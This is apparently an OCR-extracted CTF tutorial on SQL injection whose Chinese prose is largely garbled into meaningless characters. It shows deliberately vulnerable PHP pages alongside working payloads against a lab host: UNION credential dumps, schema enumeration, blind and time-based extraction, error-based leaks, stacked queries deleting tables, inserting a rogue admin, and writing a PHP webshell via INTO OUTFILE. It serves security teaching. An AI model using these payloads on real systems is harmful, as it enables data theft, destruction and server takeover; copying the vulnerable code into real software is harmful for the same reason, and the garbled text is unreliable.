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CTF ARy SQLEN

Web L FFRIFIEHR, AT ABTHIREEN, REFLHFERBIREERITHIREFE.
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THEHHER SQL EREAIT, BRXLEEMEAEBSLFRHRNBIRENIT MM
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SQL ENEF]
oe

SQL ENEAY

SQLIEARFZEX B FBIANNSEITIRATE, SER PENRIEIERE SR T
RERNEN—MER, BERSBUEEFENEGERME. 8 EERMER.
HMA—LERNGFIFERNE SQLIENRER, SFEEHFEEN. UNION EN.
FHREGEN. BREE. REEN MEEAFERFENFEENF XX AT A
BI5.

CTF tutorial 3 - web COMPASS CTF



SQL ENEF]

0000000000000 O00OO0O0OOO00

U BUENFI UNION GEN
E—MHIFH PHP MARRA (sall.php) WMT (RAEEXRER).

<?php
[/ E#EAH MySQL, #IEE K test
$conn = mysqli_connect("127.0.0.1","root", "root", "test");
// & wp_news & title. content &, id # GET § \#y1&
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=".$_GET['id']);
[/ BH: REFGLHT SQLEGFIR S ANE, HPATLELFEWRT, S TARFRXAAFTHR
/] BT R A S H
$row = mysqli_fetch_array($res);
echo "<center>";
[/ SR TE title FHE
echo "<h1>". $row['title']."</h1>";
echo "<br>";
// i H £ X P content FE(E
echo "<h1l>".$row['content']."</h1>";
echo "</center>";
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SQL FENER

0000000000000 O00OO0000

EFRGENFI UNION GEN

HIEERIREMIE SQLEN-1. #BEIFR wp_news KIAZFILE SQLEN-2. AR
& wp_user B EILE SQL iEN-3.

mysql> show tables;

Wp_nNews
Wp_user

rows in set (0.00 sec)

E: SQL EAN-1
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SQL FENER

| it is the beginning
| have fun | have fun baby!

1 row in set (0.00 sec)

E: SQL i FAN-3



E= 2]

OOOOOOOOOOOOOOO

EFRGENFI UNION GEN

EMNPEREBEE HTTP B9 GET AXXBA id B, BANE AHERNIEET

& admin (BEAEER) HIKSHZR (ZHEABER hash @, XBATET

5 AHAC this_is_the_admin_password), ZIE AN K ENZHBE— "NIE RS R
EWNERE NEETUBITEERMMEES, NMEFHZBIMMEANE.

&5 P T 1454 http://192.168.20.133/sqlL.php?id=1, £EIE SQL A4,
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3 OmA BD BAXE () GitHub [ Tuisec®2MAR B Google B|iE @ Sec-News R2XH

it is the beginning
B: SQL EN-4

NEETHAESE SQLEN-2 FIHEIR wp_news FEISE—1T id 5 1 BIER—
B, BX L, PHP IS GET FiktE NI id=1 SHIER SQL E#iE AT T HH#E. R
EfEANT:

$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=".3$_GET['id'1);

CTF tutorial 3 - web COMPASS CTF



EFRGENFI UNION GEN

W BiE3K http://192.168.20.133 /sqll.php?id=1 fy$_GET[id’| HMEX 1, B
246 MySQL HEIEIE AT :

SELECT title, content FROM wp_news WHERE id = 1

FATERRE MySQL REAMERIIERRSER, TE SQL FEN-S5.

mysql> select title,content from wp_news where id=1;
Fommmm- B -

| title | content

1 row in set (0.00 sec)

B: SQL jEN-5
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SQL ENEM

Q000080000 000000000000

EFRGENFI UNION GEN

MAEGRN EAXZHMEHAN TR EFHRERIEES, BT APEAND IdES
¥, ANHIEENHEFEAXNNMIER, BEREXNEES, W
https://bbs.symbol.com/t/topic/53 ify “53", LK SQL jEN-6.

Defcon China 458 - W8I Writeup

E: SQL jEN-6
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ENER

0000800000000 0000000

EFRGENFI UNION GEN

THERBEBPEAL id S81T SQL FNEHRIEEE.

iial4%HE http://192.168.20.133/sqll.php?id=2, FIIAEZIE SQL EN-7 hET
TESQLEN-2Hid A2 HiEK, BipniksE

http://192.168.20.133 /sqll.php?id=3-1, FIUEBRERET id=2 1ids,
B SQL EN-8. XANBKIEA, MySQL 3¢ “3-1" RixXNHAITTIHHEHBRELERA
2, REEMT id=2 #iEX.
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EFRGENFI UNION GEN

NEFEEXMFEIT AT FBHZGEN R AMFEEN, RIAANS
"$_GET[id']" MR A5ISEE (NRBHATLUERXS), XEEATTAEER
A SQL EEARTHIERNEl (FRAE SQLIEN-9):

SELECT title, content FROM wp_news WHERE id = 1 UNION SELECT user, pwd FROM wp_user
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SQL FENERM
©0000000080000000000000

$r=mR5E NFAUNION SEN
=B ENFD iE

) [ 192.168.20.133/sql.php?id=2 X x| +
T & W QB @ e
i uA B sAxE () GitHub [ Tuisec®2MA B Google MiF () Sec-News B2

@ FR2 | 192.168.20.133/sql1.php?id=2

have fun
have fun baby!
B: SQLEN-7 ERME
have fun

have fun baby!

E: SQL i FAN-8



L ENER

0000000080000 00000000

EFRGENFI UNION GEN

mysql> select title,content from wp_news where id=1 union select user,pwd from w

| it is the beginning
admin this_1is_the_admin_password

rows in set (0.00 sec)

B SQL 7 EN-9
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ENER

0000000080000 0000000

EFRGENFI UNION GEN

XA SQLIBARE R E MR id=1 Bt FI1THY title. content SFERAIEIIE,
FEBRSEHRAPRPH user. pwd (AIKSEBFE) HEHBHNE.
BAVEZ W TTiE A R RN id FRIRE, Bl e gk
http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user., Z4
FIE SQLEN-10, EFH “%20" E=1&KY URL A5, X¥TER< B3 URI A
HIFFIRFRAZE(T URL 4RA5, FRFR[UEIEKRES BT URL 245,
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SQL ENEF]

000000000000 e0000000000

EFRGENFI UNION GEN

L4 [ 192168.20133/sql1.php2id=1 X & EREK x| +
& C O F&2 | 19216820133 elect v f * 4 w9 9B e O
i ogm B sAxe () GitHuo [ Tusec®R2#MA By Google @iF @ Sec-News REXHW & HWRMRIZRER © [rinetsec - Inform... B3 ctfsh

sqli

it is the beginning

El: SQL JEAN-10
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0000800000000 0

EFRGENFI UNION GEN

PAME SQL FEN-10 pHRIZTMER R A AFMTHIAR. BEXE, MySQL #kE
HWH TAITIER, B2 PHP RERETZRERAET—ITIER, FURNEERK
SEMHICREREEAERNE—1T. IWRESMNE, WRAIMSESHEREHE
FEME “limit 1,17 S4 (B2TEEERRE 2 KiK. WE SQLEAN-11).
“limit 1,17 2= RERE, (FARNERERSE 1 FIEREM 1 FiER. X4,
BAE id=-1 FFE—MRKRRYE, ERFE SQLIEN-I FHE—ITICREERKE
(LB SQL EN-12), XBERKIAF—ITIERT (JLE SQLFEN-13).
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SQL EAR

000000000000 e00000000

mysql> select title,content from wp_news where id=1 union select user,pwd from w
p_user limit 1,1;
+ - e S

title | content

admin | this_is_the_admin_password |
+------- e -
1 row in set (0.00 sec)

B: SQL iEN-11

mysql> select title,content from wp_news where id=-1
->

B

Empty set (0.00 sec)

B: SQL JEA-12
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SQL FENER

mysql> select title,content from wp_news where id=-1 union select user,pwd from

1 row in set (0.01 sec)

BE: SQL jEAN-13
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EFRGENFI UNION GEN

BEXAE SQLEN-13 Frmly i, 408
http://192.168.20.133/sql1l.php?id=-1 union select user,pwd from wp_user,
HZERIE SQLFEN-14, BEBFEEN, BRINMIKET A PARNKS FAZR.

x  © mAm x| +

admin

this_is_the_admin_password

&: SQL jEN-14
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EFRGENFI UNION GEN

BEHER UNION & a5 8RR R 2 U LAYE NI EFR S UNION (BX&Eif)
EAN

NMIARGIFREARNSEME TEHEESY, BAEMKERT, WMTEESHE
REFE A pwd Fik & wp_user I 7

MySQL 5.0 fRA TS, BRIABE®T—1EEE information_schema, MySQL RIET B £#11E
ER. RE. FRAEBHMAUNDEIFE. BEREINZINTERAT AEIEEGEN
&if], BEMWEXKAET SQLFANMFIA.
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SQL FENER

U BUENFI UNION GEN

TEFHENLS . BRRNADEMEFEOEXES, KiBiT id=3-17id=2
EERE—2 (BE SQLEN-7 5 SQLEN-8 MNE—E) X 2HEE—1
BFEEN, AEBEHAEN, SHFMRENEMRERE. i
http://192.168.20.133 /sqll.php?id=-1 union select

1,group_concat(table_name) from information_schema.tables where
table_schema=database(), Z5E & SQL jEN-15.

wp_files,wp_news,wp_user

BE: SQL jEAN-15
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0000000000800 0

EFRGENFI UNION GEN

table_name FEEZ &2 information_schema FEH] tables KR BF K. RHTLEHIEE
HAFEF table_schema, T database() & #{iR B]H) N %2 2 BT EHE ER BFR
group_concat 2 " BREZITIERMEE. 2R, ZiEATIUBKESEELHA]
ERME (EXLF—EMKERS) REHFBRE—AFED. ME SQLF
AN-15 5E SQL iEN-16 B R—BHiERA TiZig A EE. IHEMATILSEIELE
HIESR wp_user,
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SQL FENER

mysql> select table_name from information_schema.tables where table_schema=datab

wp_files
Wp_News
wp_user

rows in set (0.00 sec)

&: SQL EN-16
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ENER

0000000000080

EFRGENFI UNION GEN

EI32, 1&id columns REEHH] column_name EFHEIAFEN A wp_user FEIFEL
%Z. iAia) http://192.168.20.133/sqll.php?id=-1 union select
1,group_concat(column_name) from information__schema.columns where
table_name='wp_user’, AJIFRITHHFEEZ, WE SQL EN-17,
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E= 2]

000000000000 00e

id,user,pwd
Bl SQL iEN-17
EZit, F-MIFER. HFUFTANHNXBETRIBANS Y S, REEIM.
. ’HRFZE, FlHRANSHMILZESISERE, BRI —LERANKEFE,
REVHIEERHRER
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SQL ENEF]

900000000000 00000000

FREFEANNMREE

TEE S sqll.php BIEMKAED, MFEBUK sal2.php, TATATR,

sql2.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id = '".$_GET['id']."'");

$row = mysqli_fetch_array($res);
echo "<center>";
echo "<hl>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";

7>
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SQL ENEF]
00000000000000000000
FRHEENFRREE

HIE 5 sqll.php #Htk, EARE GET SN FAERTH|S, ILETRFER
#. £ MySQL i)

SELECT title, content FROM wp_news WHERE id = '1';

SZRILE SQL EN-18.
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rows in set (0.00 sec)

B: SQL jEA-18
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0000000

FREFEANNMREE

£ MySQL i, ESHIAMREBA—T, MSLEREHER. YBFEFHEY
fELEE, FASRBERERANT, BHTHER, RE SQLEN-19. FHH 1 5
FHE FAEH L RFERK L, 5 118% FHE a FRHIERER 0 IS 0
8%

mysql> select '1'=1,'1a'=1,"'a'=0;
L e Fe------ +
| "1'=1 | '"1a'=1 | 'a'=0 |

1 row in set, 2 warnings (0.01 sec)

E: SQL iFAN-19
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FREFEANNMREE

REXMFE, RNBSFHHBNRETAFHE, tHEREESIS (FTkEER
SSRGS, EXZHIERATRESS) K.

i1 http://192.168.20.133 /sqI2.php?id=3-2, ZEIE SQL EA-20, HEH
T, BUAREFE, AREFFE. %E=tihn
http://192.168.20.133/sql2.php?id=2a, ZEERE SQL jEN-21, AR EF
Rl

CTF tutorial 3 - web COMPASS CTF



SQL ENEF]

000008000000 00000000

FREFEANNMREE

L] [ 192168.20133/sql2.php2id=3 X 4

© FL2 | 19216820133 L L H @

#OEA B BAXE () Gt [ Tusec®2MA O Google ®iF @ Sec-NewsREXM & MARSZARR.. © Jrnetsec - inforr

E: SQL FN-20

° D 8. al2.ph x  +
@ FE2 | 192.168.20.133/5q12.phy 2 P T 9 H e
UM B #ARE () Gitub [ Tusec®2MA B Google MiF (@ Sec-News REXM @ MRRLZRZM. O /rnetsec - Inforf

have fun

have fun baby!

El: SQL FEA-21



FREFEANNMREE

S ERES|SRAGTENEASIS, B "-%20" 5 "%23" REHE/IER.
2, XBE—FZE URL i3, THRHUREE "%20", "#" HHEBE "%23".
if5ia) http://192.168.20.133 /sql12.php?id=2%27%23, ££BIE SQL FEN-22.

® h) € 212.php! X+
© FRL | 192.168.20.133/5q12.php?id=2%27" T & w 9 B e

# gM B3 BAXE () GitHub [ Tuisec®2MA B Google Wid (@ Sec-News REXM & MARLZHXR. O

rrrrrrrrrrrrrr

have fun

have fun baby!

BE: SQL jEN-22
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FREGEIANMREE
BRIERAE, AR MySQLIEAWNT:

SELECT title, content FROM wp_news WHERE id = '1'#"'

MARESISHASTHEMERNESS, MAN “#" FRTEERNENSESS,
ERFEARIIHIT, ETRORMERSHFREIN-HT, ERIE SQLIEN-23.

admin~this_is_the_admin_password
&: SQL jEN-23
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FHREGENFMREE
4%, RTER tWLRESISkASEEMESIS, RE SQLIEN-24,

® [ 192.168.20.133/sql2.php?id X o+
® FRL 192.168.20.133/5ql2.php?id=1%27%20and “ & w

# UM B9 sAXE () Gittub [I Tuisec®2MAR B Google MiE @ Sec-News R2XH @ MRRLZRX®

sqli

it is the beginning

E: SQL iEN-24
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FREFEANNMREE

18] http://192.168.20.133 /sql2.php?id=1’and’l, XA} E3EEZE 85 T 0L E
SQL jFN-25,

mysql> select title,content from wp_news where id='1' and '1'
->

+------- e +

| title | content

| it is the beginning |
+------- R L LT T +
1 row in set (0.00 sec)

& SQL JEAN-25
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FREFEANNMREE

KEF WHERE 2 SELECT #B{ER)—PHIEi &4, ZRIRY id=1 AiEiaFHE. XE,
AND RERZFZERMHEEAITFME, —IPRid=1, Z—1TE'l. ATFHFET #HE
HIEHRAL True, RRXNFHHIL, FREEREEAH id=1 BIiER.

BEE SQLIEN-26 FiriiER: B 1AFHMAid=1, F 2 FEHFHFED 58
HIRERIEER, TAFHEREE, BRERAIZ. SREERA ik, AND 5
HHREXNE, SNEERATE, AND FEMEANR. EARNBEFIEZNH
&, EETBEEANENHEE, XFHERERARREE.
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SQL ENEF]

FREFEANNMREE

=

mysql> select title,content from wp_news where id='1' and 'a

-> 3

Empty set, 1 warning (0.00 sec)

B: SQL jEN-26
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FREFEANNMREE

AL, XFER TIAIRSERETR ? HKOTTUIBENEE. Fla, SR EER
BA, MRE NTEETRI=1HNEE FUREAERTER: BlRXMUER
TAL, MREERE 146, PBLARERARNFRHERN—BEHEERFE. BRigHEIEN
BIFHFFE'f', 519 http://192.168.20.133/sql2.php?id=1'and’'f'="a’, Fillk'a’,
EEEH, FRZRAD. ¢ dL e, WEEER, BERERT WEHE, BRT.
FRETARERET d=1MAZE, ILE SQL FAN-27.
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FREFEANNMREE

LR, XEFEORBNREEXE. BINATUBSENFS, ERNTFRSESEEEN.
1518 §%HE http: //192.168.20.133 /sql2.php?id=1"and’f’<'n’, XHER] AR RENIE
HREMHEENFFER 0", BERAZSZREE HENFR.
LRERARERFHEHT, EXFEBTBEEFHEBEASAZR—1NFR. B4,
EXFERT, BANMAKEEG—(EE 7 2227 A MySQL BRI REH1TE
PEEEL, #A substring(). mid(). substr(), PLE SQL iEN-28.
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SQL SEAER

— 1] 3% 7=
FREGEIANMREE

® F=% | 192.168.20.133, I Oand %27f f T &
© sec-News R2XHi @ WRRSLHRER @ /rinetsec - Inform. =R

sqli

sAX® () GitHub [J TuisecR2#&A B Google Bid

it is the beginning

E: SQLEN-27

ysql> select substring("123",2,1),mid("abcde",1,1),substr("12345",1,1);

1 row in set (0.00 sec)

El: SQL A28



SQL ENEF]

A\ FR; 7

FREFEANNMREE

FEEENETHREETNEKREFRE, TEANARREERIREK admin D, 7
MySQL FEif] (ZRIE SQLEN-29):

SELECT concat(user, ©x7e, pwd) FROM wp_user
PAIREEEIERE 1 6L (ZARIE SQL EN-30):
SELECT MID((SELECT concat(user, 0x7e, pwd) FROM wp_user), 1, 1)

FREEHNFIA SQLIEAMT:

SELECT title, content FROM wp_news WHERE id = '1' AND

(SELECT MID((SELECT concat(user, ©x7e, pwd) FROM wp_user), 1, 1)) = 'a'
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L ENER

| admin~this_1is_the_admin_password |
+--- -- - - --- -+
1 row in set (0.00 sec)

&: SQL iEN-29

mysql> select mid((select concat(user,0x7e,pwd) from wp_user),1,1)

1 row in set (0.00 sec)

El: SQL EA-30



FREFEANNMREE

PG 1a)§E$E http://192.168.20.133 /sql2.php?id=1"and(select mid((select
concat(user,0x7e,pwd) from wp_user) ,1,1))="a’%23, ZRIE SQL ;¥ \-31,
BELEE 2 i, i8] http://192.168.20.133/sql2.php?id=1’and(select mid((select
concat(user,0x7e,pwd) from wp_user),2,1))="d'%23, &R 5E SQL jEFN-31 1
—5, RBAE 24GLR'd . Uk, BIRSEIE MR EHE.

sqli

it is the beginning

B: SQL iEAN-3L
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FREFEANNMREE

#EIEERES, RIETALENARRAMEREELRER, Rtz EF—
XEEAR. BTEEBERAT, TANENARTREE—8, SFEEEBHEMFEY
SQLFENRIBATEREITHIET, MNBIRFZH|/PT SQLIEAMEEMRE, NE
SQLIEN-32. HEHITHIERASR, BT sleep(l) HIFHE, EEMEAVENITHEES
F18, SBHITZEATEED L R E. BB sleep() RHTHSE, &
MATAER B, SRRIERFEANSHRIER, MARWFIEELESHIERN. 5
EEREFRHEMRGRARE, BT sleep() HE, FIRA IF FHFEE AND. OR R
HRZEE I SQL HLATHIRT (8] Il SQL IHMISER, XFENBI TR AT i8]
Bif. HAREHREEEN SEKFIRAARTEEL.
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0000000000 0e

FREFEANNMREE

ysql> select title,content from wp_news where id='1' or sleep(1);

1 row in set (1.00 sec)

B SQL EN-32
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SQL ENEF]

HEEEN

AR ATARARERL, BRINESFBHERALER, #5R530 sql3.php
Fow.

sql3.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT title, content FROM wp_news
WHERE id = '".$_GET['id']."'") OR VAR_DUMP(mysqli_error($conn)); /] BRER
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<h1l>".$row['title']."</h1>";
echo "<br>";
echo "<hl>"_$row['content']."</h1>";
echo "</center>";
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L ENER

HEEEN

J-ttﬁ_j-v O=Em% SQLIEARHEIR, AIFAERE EEZHIRER, WWE SQL EN-33,
XM E AR UEE A MySQL SFERMITREMREEEME, WRAMEEN.

x @ nm x| +

W % - S HEe ©:
#84 B Google ¥ (@ Sec-News REXW & MARSLRER. © /netsec- nfor Bame B [a

string(150) "You have an error in your SGL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1" at line 1"

E: SQL jEN-33
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L ENER

HEEEN

BTEFRSE I, updatexm! EHATH, A BB N2 %A XPATH 25
&, ENRE3IZRAENEREENOSEETME , ME SQUIEN-34 iR

mysql> select title,content from wp_news where id='1' or updatexml(1,concat(®x7e
,(select pwd from wp_user)),1)

>
ERROR 1105 (HY®0O): XPATH syntax error: '~this_1is_the_admin_password’

E: SQL jEN-34
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L ENER

HEEEN

FIRAXAEHE, $tXFERERTH0F, HRIVBEIEREN updatexm! F
HHE_ANSH, EXERP i) i
http://192.168.20.133/sql3.php?id=1’or updatexml(1,concat(0x7e,(select pwd
from wp_user)),1)%23, ZR A SQL jEAN-35.

@ 192168.20133/sql3.php?id=1" X @ HTH x| +
<« C O F%2 | 19216820133 ¢ . g
#Omm B #AXE () GitHub [I Tusec®2MA Bp Google @i# @ Sec-News REXHW @ MRRLZRXW.. @ /r/netsec - Inform.

string(49) "XPATH syntax error: '~this_is_the_admin_password"

&: SQL EN-35
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[e]e]e]e] lele)
HEEEN

Hi, HERFRBEZIBAMITHEE, TR AZIEOMITHA SR EEENE
EEMINEHE, XHIERAENE R EIRAESEEN.
B4R A HN sql4.php FT7R .

sql4.php
<?php

$db = new PDO("mysql:host=localhost:3306;dbname=test", 'root', 'root');
$sql = "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'";
try {

foreach($db->query($sql) as $row) {

print_r($row);

)
}
catch(PDOException $e) {

echo $e->getMessage();

die();
}

7>
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HEEEN

WERATEAS B SIS EHITER SQL iEF), MFEX RSP EiKihim
http://192.168.20.133/sql4.php?id=1%27;delete%20%20from%20wp_files; %23,
ZRIE SQL FN-36, MER T 3T wp_files FRIETBEEIE-

rysal> select * fron wp_files;

® 0 ® 19216820133 saldphprid=1 X  +

<« C O FR2 | 192168.20.133/sq!4.php?id=1%27;delete%20%20from%20wp_files;%23
1 t (0. 00
£owitngzeti( sec) # uA B #AxXE () Gitdub [J TuisecZ2MA B Google @i @) Sec-News 22X @ MR

mysql> select * from wp_files; X ) " o " —
Empty set (6.00 sec) Array ( [title] => sqli [0] => sqli [content] => it is the beginning [1] => it is the beginning )

E: SQL jEN-36
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HEEEN

BATHR T HFEEN. UNIONGEN, H/REIE. FHEEE. RiEEN, XEEAE
BREFNPEZERZINEM. RBANEBIBENERIME, XLFENFITHERRER
= UNION FASIREFN>HREE>HETE.

WEINAEHFEEN, BAEREEELSSHMEIHERAEREEHE.
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EIN
000000000

SELECT jEAN

SELECT {FAIATHHRRICEKMNEN, EERERTHEREER, MFEANRE.
REMRTRE. SELECT iFAMIEEMT:

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr[, select_expr -]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], -+ [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[AsC | DEsc], -1
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_namell
[FOR UPDATE | LOCK IN SHARE MODE]]
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=

EN

0®0000000

SELECT jEAN

F N RTE select_expr
IRAXAL AN sqinl.php FF7R.

sqgin1.php
<?php
$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$res = mysqli_query($conn, "SELECT ${_GET['id'l}, content ROM wp_news");
$row = mysqli_fetch_array($res);
echo "<center>";
echo "<hl>".4$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>
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SELECT jEAN

BE B AT LR ERES (B 5 i TAIRIRE . A IRE MySQL igi%x, BRMNBEMRHA
%, BIFIA AS f|2HAE, BEREEANERETREIFER. HioiEE
http://192.168.20.133 /sqIn1.php?

id=(select%20pwd%20from%20wp__user)%20as%?20title, DLE SQL ;£ N-37.

©® FL2 | 192168.20.133/s 7

EAXE () GitHub [J Tuisec ReMA B Google MiF @ Sec-News REXH & BWARLLRZR ® /rinetsec - Inform... B

this_is_the_admin_password

it is the beginning

E: SQL jEN-37
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SELECT jEAN

7 A\ S 7F table_reference
LR SQL EMIERAMANT:

$res = mysqli_query($conn, "SELECT title FROM ${_GET['table'l}");

BAMAT L BRI 2R A NE R R, W

SELECT title FROM (SELECT pwd AS title FROM wp_user)x;

LK, EAMRZHBERT, AL M information_schema.tables P& AR &
7E select_expr #0 table_reference fiEN, MRFNHEERSIEEARE, PBLEEL
HA&ER5IS. AIER S AR ESFIER.
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SELECT jEAN

FEANBTE WHERE g HAVING [§
SQL E#HE AT

$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET[id1}");

XMERSEKEENEMPIHE, HRIULPEEBENER, EXRFMELSIS
BE. BASHHWEFEENES, BRBTENRIREUEE.
ENRIE HAVING [FRIER S Z 181U.
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SELECT jEAN

# A7 GROUP BY 5 ORDER BY J5
B3| WHERE FRYEN QR , SeAEARHA MySQL R TEIK, HiEAEH
BEMNf 4, MM SRR LUENRIGIE , #MEITHITEREN . FRIZRBENT:

$res = mysqli_query($conn, "SELECT title FROM wp_news GROUP BY ${_GET['title'l]}");

ZEMRXAT ALY, title=id desc, (if(1,sleep(1),1)) RILWER 1 %), FEFAF
FAR 18 N IRBU AR K H4R .

EEEAEXBISFALERTRERIAGRN ZHE, TEFARFAEERTR
FAELRM R E ARAFNELIEXASH . XL RAEXAANERTER
Bbxt, BEXREEEREXMEN.
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SELECT jEAN

AARELIMIT I

LIMIT FRENFIBT LB 8, BEERHF RN, TEHSBRESHEEDRIC
FH. BTEERS, AEMFAENGIAATT (LIMIT FRERYF), £ED
SQL iFf)% A ORDER BY XEFMERT . AILEEER UNlON ,E)\ F, K
ITAT4RYE SELECT &%, @idAnN PROCEDURE kZiiFEN, XEIFRARESR
MySQL 5.6 Bi#IRRAS, WE SQL iFN-38.

mysql> select id from pnewsl mit 2 procedu lyse(extractvalue(1,concat(ex3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: S S 59 0 b ntud. 14 04.1"

El: SQL iEN-38
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=

EN

000600080

SELECT jEAN

EIHEAT AR FRIENEN, BT

PROCEDURE analyse((SELECT extractvalue(l, concat(6x3a, (IF(MID(VERSION(), 1, 1) LIKE 5,
BENCHMARK(5000000, SHA1(1)), 1))))), 1)
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SELECT jEAN

BENCHMARK iF RIHAbIERT B KR 1 7). EASANBIRISEBRFHT, FA
WATAER INTO OUTFILE iEf][a) Web BRE N webshell, ZEFTEIZHITERNETH
R, Al@IE “SELECT xx INTO outfile' /tmp/xxx.php’LINES TERMINATED
BY'<?php phpinfo();?>"" BIARIEFIEBZ RS, WE SQL FEN-39.

mysql> select 1 into outfile '/tmp/1234.php' LINES TERMINATED BY '<?php ph

);?2>';

Query OK, 1 row affected (0.00 sec)

xiaojunjie@ubuntu: /tmpS cat 1234.php
1<?php phpinfo();?>xiaojunjie@ubuntu:/tmps []

&: SQL EN-39
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INSERT ;EN

INSERT i AIRENEIERICRIIZ A, MIUZIHPEERNFTE. BT,
STt HIL. INSERT 9iE5 0T

INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_namel --)]
[Ccol_name [, col_name] --)]
{VALUES | VALUE} (value_list) [, (value_list)] -
[ON DUPLICATE KEY UPDATE assignment_list]

INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] --)]
SET assignment_list
[ON DUPLICATE KEY UPDATE assignment_list]=

INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
[INTO] tbl_name
[PARTITION (partition_name [, partition_name] --)]
[(col_name [, col_name] --)]
SELECT -
[ON DUPLICATE KEY UPDATE assignment_list]

BE, ENITFRABSFEFRENDS, BRARRER.

rial 3 - web

COMPASS CTF



INSERT ;EN

FAANRALTF tbl_name
MREBRLEFRMIRESER, WAEEEANGSEHREIEENRTAN, UEE
BR. HlW, FFUOT SQLiEF:

$res = mysqli_query($conn, "INSERT INTO {$_GET['table'l]} VALUES(2,2,2,2)");

FREFHEME, =4 table B{EH wp_news, \TIENIFTEREIE. BT
HIR A, FATATLLIA1E) http://192.168.20.132 /insert.php?table=wp__user
values(2,’'newadmin’,’newpass’)%23, iGElE]. 5B wp_user RAFIE SQL iE
AN-40. AILEE, BERIMBENT I FHNEERA.
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INSERT ;EN

mysql> select * from wp_user
-s ®

1 row in set (0.00 sec)

mysql> select * from wp_user;
- -+

1 | admin | password |
newadmin | newpass

2 rows in set (0.00 sec)

&: SQL jEN-40



INSERT ;EN

FENBF VALUES
BiZiEFMT:

INSERT INTO wp_user VALUES(1, 1, '&#frE');

EMTTEAGRSS, RERITHA—FIER, BEEERNEEAFER—1ITX,
IR AT U I R P B SR A= HIE R AR - FENB AT

INSERT INTO wp_user VALUES(1, 0, '1'), (2, 1, 'aaaa');
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INSERT ;EN

MRAPRPWE 2N FERARNEEERBURIME, FRAN—NEEGARP. &
HEEAT, RIMUTLUSEIEBANEO ST, ScRERREE. BRiEgE—
N FENHEESHERETE L, BLAXRAMTEGEN, BTEE—APRHNE
IR Rk

INSERT INTO wp_user VALUES(1, 1, '1'), (2, 2, (SELECT pwd FROM wp_user LIMIT 1));
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UPDATE ;£

UPDATE iZRIERATHIEEERNEH . WAFPEHBCHXE. NMERRE. BH
n:b\% UPDATE 'lEI_JEI]ln :filﬂ—l_

UPDATE [LOW_PRIORITY] [IGNORE] table_reference
SET assignment_list
[WHERE where_condition]
[ORDER BY -]
[LIMIT row_count]
value:
{expr | DEFAULT}
assignment:

col_name = value
assignment_list:

assignment [, assignment] -
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UPDATE ;£
Fan, LLGENSALTF SET FAB. —NEER update iEF)INE SQL jEN-41, AL
FE|, [F5ER wp_user 5 2 1THY id EIBHEIERL.

+ + +
3 rows in set (0.00 sec)

mysql> update wp_user set| id=3 here user

Query OK, 1 row affected (©.00 sec)
Rows matched: 1 Changed: 1 Warnings: ©

mysql> select * from wp_users

0
ERROR 1146 (42502): Table 'test.wp_users' doesn't exist
mysql> select * from wp_user

B: SQL iEAN-41

COMPASS CTF



UPDATE ;£

Y id HIEAER, WAiEME4 - FREE, F

UPDATE wp_user SET id=3, user='xxx' WHERE user = '23';

HRMUEBEMENRFAARS SELECT FNHELL, XELRHHE

t;r:
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DELETE jEAN

DELETE JFAKE# WHERE J5. fRi% SQL IERMNT:

$res = mysqli_query($conn, "DELETE FROM wp_news WHERE id = {$_GET['id']}");

DELETE iZAM1E AR MR EN KRB L BRIEEITHIEME. 3T id f*iﬁzi_ﬁ;i)\ﬁj‘
HEAEMSE WHERE FRIMEA True, SBEA wp_news R MR
SQL EN-42.
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DELETE jEAN

mysql> select * from wp_news

2 rows in set (0.00 sec)

mysql> delete from wp_news where id=1 or 1;
Query OK, 2 rows affected (0.00 sec)

mysql> select * from wp_news
->

Empty set (0.00 sec)

El: SQL FEN-42



DELETE jEN

ATHRIEASMEZHIBER T, BEE M and sleep(1)’ RIARIE WHERE
JERIZERIRE A False, iEERAIFEMRINBLIT, JWE SQLIEN-43. FELRSHE
BEiEN—8, XELRHEE.

nysql> select * from wp_news
-

.
2 rows in set (0.00 sec)

nysql> delete from wp_news where id=1 and sleep(1);

Query OK, © rows affected (1.01 sec)

lect * from wp_news

2 rows in set (.00 sec)

E: SQL jEN-43



ENFAR1E
o 900

FRIER

ATHESQLEN, BMNFLEEEEER . RHM%E I SELECT, FROM RyXg
FERRHETARIZE.

RitiRT =

BTSE, EREPTURBHSAFFIEE%0a. %0b. %0c. %0d. %09. %a0 (35
?URL AL, %a0 EFEFHEAERMA) f/**/HE. EHS%. % PHP R
N

<7php

$conn = mysqli_connect("127.0.0.1", "root", "root", "test");
$id = $_GET['id'1;
ec

nt FROM wp_news WHERE id=".$id;

echo "<h1>".$row['content']."</hl>";
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FRIER

echo "</center>";

7>

